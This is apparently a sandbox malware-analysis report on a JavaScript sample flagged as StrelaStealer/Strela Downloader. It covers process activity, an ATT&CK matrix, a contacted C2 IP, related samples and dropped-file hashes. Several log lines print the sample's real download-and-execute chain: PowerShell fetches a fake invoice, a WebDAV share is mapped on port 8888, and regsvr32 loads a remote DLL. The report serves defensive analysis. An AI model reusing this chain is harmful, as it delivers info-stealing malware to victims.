Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
24233226922003220721.js	10%	Virustotal		Browse
24233226922003220721.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/tem6	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/dx	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000A.00000003.1354516587.00000259269C0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	false		high
http://crl.ver)	svchost.exe, 0000000A.00000002.2586540211.0000025926A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.9.dr	false		high
https://www.adobe.co	ReaderMessages.6.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.10.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000008.00000002.1356235722.000002643C2E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1356235722.000002643C325000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1356235722.000002643C33F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/dx	net.exe, 00000008.00000002.1356235722.000002643C325000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/tem6	net.exe, 00000008.00000002.1356235722.000002643C2E8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588919
Start date and time:	2025-01-11 07:10:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	24233226922003220721.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/62@4/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 54.224.241.105, 34.237.241.83, 50.16.47.176, 18.213.11.84, 162.159.61.3, 172.64.41.3, 184.28.90.27, 2.22.50.131, 2.22.50.144, 2.16.168.105, 2.16.168.107, 23.209.209.135, 2.23.197.184, 23.219.161.132, 13.107.246.45, 20.12.23.50, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, time.windows.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:11:28	API Interceptor	19x Sleep call for process: powershell.exe modified
01:11:31	API Interceptor	1x Sleep call for process: net.exe modified
01:11:31	API Interceptor	2x Sleep call for process: svchost.exe modified
02:33:56	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	959032706323392160.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066942103834721
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqu:2JIB/wUKUKQncEmYRTwh0K
MD5:	30FA79DC9503CE581B6EAF8089EED057
SHA1:	57BEA6321007CFFA38CA1002BF94BD58EC609B9F
SHA-256:	3AAA88E3DFF256C75616C3A8988F288D7C8AFCCED0B0E07CDF80A70CD731BD6D
SHA-512:	4E2064C347CEB100398A246D22C7F1E4A7AB09C1A621E1B9A68E8C53C8EE84F67186A5ECAF43ACBD12F96BFDAF33F1C5C3540C0518BB26D63047D9BBDED6DE13
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xdd47547b, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899677969526657
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:zazaPvgurTd42UgSii
MD5:	1BB6A679C05D3DD5F909F3C063EC92D3
SHA1:	D1ADAE95F648603DE25E902BF6D5A925BAC4720F
SHA-256:	F3ACAFAFBBD2304F72E4762366A1E1544AA0BA37B6C8BCB0D0B971B5CE74984A
SHA-512:	DCE8B3D2272C7246ADD694B1FF38E678B30C2025AB9D3DE8D8E1003F568C46DA6F72C8FC2C86606A75AD0A2899D1559F44569CD75D5284FB9DA284030900C298
Malicious:	false
Preview:	.GT{... ...............X\...;...{......................0.`.....42...{5. ....}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................P.WN ....}k...................`1 ....}-..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08223264547788528
Encrypted:	false
SSDEEP:	3:061YeycYIhxDvNt/57Dek3Jd6uuh/ll/ollEqW3l/TjzzQ/t:061zJFvPR3tv6lAmd8/
MD5:	930DC227703A81BCF6B8757141BDEB87
SHA1:	E08219A2CC76B2B43AE355946C3B640F87001319
SHA-256:	16359464240CCC4CDC4E15F9FA28FEF9617DA72BA3FF4741F8A1981120405A9B
SHA-512:	8D9A2F081D957980B1C742F702406477A9424E3AB6C252EED18F884404772789F3D7F5411358330A817644EC5EF6BFD6611DADD7AE2E278D78D842E23FDC3644
Malicious:	false
Preview:	.._J.....................................;...{.. ....}-.42...{5.........42...{5.42...{5...Y.42...{59..................`1 ....}-.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.136804857111329
Encrypted:	false
SSDEEP:	6:iOnMT+q2PcNwi2nKuAl9OmbnIFUtFMisZmwrMisVkwOcNwi2nKuAl9OmbjLJ:7nMT+vLZHAahFUtFMh/rM1V54ZHAaSJ
MD5:	12BB98D76EE490CEA964EA4509C69189
SHA1:	534B2E85034C6A570801FAF1309AF39D43CDA8E5
SHA-256:	936F6F8508E7D059FE25DB4C1DF4BF67AA597BB127E10629D391040D5419D513
SHA-512:	D05BFF3315E703BEDFBFB46320EEBDB51833E3F1B6CC50BAD96C3B09F2462B43BBBE86EED2FD2C524059D010B73B106AFCDF26284464234847F9EE0BDDF42217
Malicious:	false
Preview:	2025/01/11-01:11:31.614 1f4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:11:31.616 1f4c Recovering log #3.2025/01/11-01:11:31.616 1f4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.136804857111329
Encrypted:	false
SSDEEP:	6:iOnMT+q2PcNwi2nKuAl9OmbnIFUtFMisZmwrMisVkwOcNwi2nKuAl9OmbjLJ:7nMT+vLZHAahFUtFMh/rM1V54ZHAaSJ
MD5:	12BB98D76EE490CEA964EA4509C69189
SHA1:	534B2E85034C6A570801FAF1309AF39D43CDA8E5
SHA-256:	936F6F8508E7D059FE25DB4C1DF4BF67AA597BB127E10629D391040D5419D513
SHA-512:	D05BFF3315E703BEDFBFB46320EEBDB51833E3F1B6CC50BAD96C3B09F2462B43BBBE86EED2FD2C524059D010B73B106AFCDF26284464234847F9EE0BDDF42217
Malicious:	false
Preview:	2025/01/11-01:11:31.614 1f4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:11:31.616 1f4c Recovering log #3.2025/01/11-01:11:31.616 1f4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.1880977259240915
Encrypted:	false
SSDEEP:	6:iOnMUOqM+q2PcNwi2nKuAl9Ombzo2jMGIFUtFMUHjZmwrMUtGMMVkwOcNwi2nKuA:7nMUhM+vLZHAa8uFUtFMUHj/rMUtGMMf
MD5:	B3B0EFA834BE0D49A1AFF205258AF708
SHA1:	0ABCC1F1B66FAE38ABDEC7F01150566F2913518F
SHA-256:	32376140490DB9A474D5064D8D604F7410B205148D685B1493AFDAC0C98F67B6
SHA-512:	2B232915AC25E0B7D770547D62B32BC123FB2F4037379E7A1FF7C0F482849F6B27D264D405573E0AFC3B136C1068717CC123CA17E57D96E0CB5F492B7FA92BF2
Malicious:	false
Preview:	2025/01/11-01:11:31.647 148c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:11:31.648 148c Recovering log #3.2025/01/11-01:11:31.649 148c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.1880977259240915
Encrypted:	false
SSDEEP:	6:iOnMUOqM+q2PcNwi2nKuAl9Ombzo2jMGIFUtFMUHjZmwrMUtGMMVkwOcNwi2nKuA:7nMUhM+vLZHAa8uFUtFMUHj/rMUtGMMf
MD5:	B3B0EFA834BE0D49A1AFF205258AF708
SHA1:	0ABCC1F1B66FAE38ABDEC7F01150566F2913518F
SHA-256:	32376140490DB9A474D5064D8D604F7410B205148D685B1493AFDAC0C98F67B6
SHA-512:	2B232915AC25E0B7D770547D62B32BC123FB2F4037379E7A1FF7C0F482849F6B27D264D405573E0AFC3B136C1068717CC123CA17E57D96E0CB5F492B7FA92BF2
Malicious:	false
Preview:	2025/01/11-01:11:31.647 148c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:11:31.648 148c Recovering log #3.2025/01/11-01:11:31.649 148c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\91f3bc43-7edf-4869-9a1f-31760f4c6c1d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4e7851.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f2bb87e0-9e8f-470f-b68f-dc1731718839.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.962718463172039
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1sBdOg2HlAcaq3QYiubSpDyP7E4T3y:Y2sRdsPdMHB3QYhbSpDa7nby
MD5:	3D7C4AD8995AFF49BD20763CA38276D7
SHA1:	7826818E2EEFC6C586B24DDECAC99108D4F918EA
SHA-256:	6C07970F84CA674DED5059F43A9181DBF16658CCFD131CB0E044379EC80BCA3F
SHA-512:	808CBCB1B2CCF8938F43DE17660B3F7D66821249C60067F0953A39E6CFC4B07B5B757A189FB6EDF8B7F74F83C92F194DD55D152C7A6B6524C1936AEB2CD8719C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381135904382163","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134051},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.239458555424323
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPclDqMmq:CwNw1GHqPySfkcigoO3h28ytPclDqMmq
MD5:	C289E15477B25DB59178F06258E75387
SHA1:	E9F9B0B330559E37E90614BC1E7F7093A6A08C27
SHA-256:	FF54E221AB4886E5357A149C0AF6C8556CD2823F3902F1CF97957714A13D1465
SHA-512:	4BCE589816060F3FA88A6F714F4B0F48C29C19E826641DAB7973921C9E7CC6AD162A16BF5E0083D79623F0AC579A14DAEA06F0CE604E8D0C1EED1A85B766200C
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.146724786969537
Encrypted:	false
SSDEEP:	6:iOnMukM+q2PcNwi2nKuAl9OmbzNMxIFUtFMGmZmwrM+kMVkwOcNwi2nKuAl9Ombg:7nMFM+vLZHAa8jFUtFMGm/rMVMV54ZHP
MD5:	56A6F8A8CC52F19FEBA968DF7ADF1BCB
SHA1:	9A45DA39558500318B01AA2CB318E570428BC338
SHA-256:	66E78DCC668D09E222F683394692B7FD5BCB0DAA7764268C2AB77F966DC1A2FC
SHA-512:	A8908828C0288FD075F937F657FF2B19E0C7476572220E612041FB1ACB579C65017D9A85A3CE6E7B0E4724A59A0226132B46C87AB23AB14F9FC98F0CA71B483D
Malicious:	false
Preview:	2025/01/11-01:11:31.835 148c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:11:31.838 148c Recovering log #3.2025/01/11-01:11:31.853 148c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

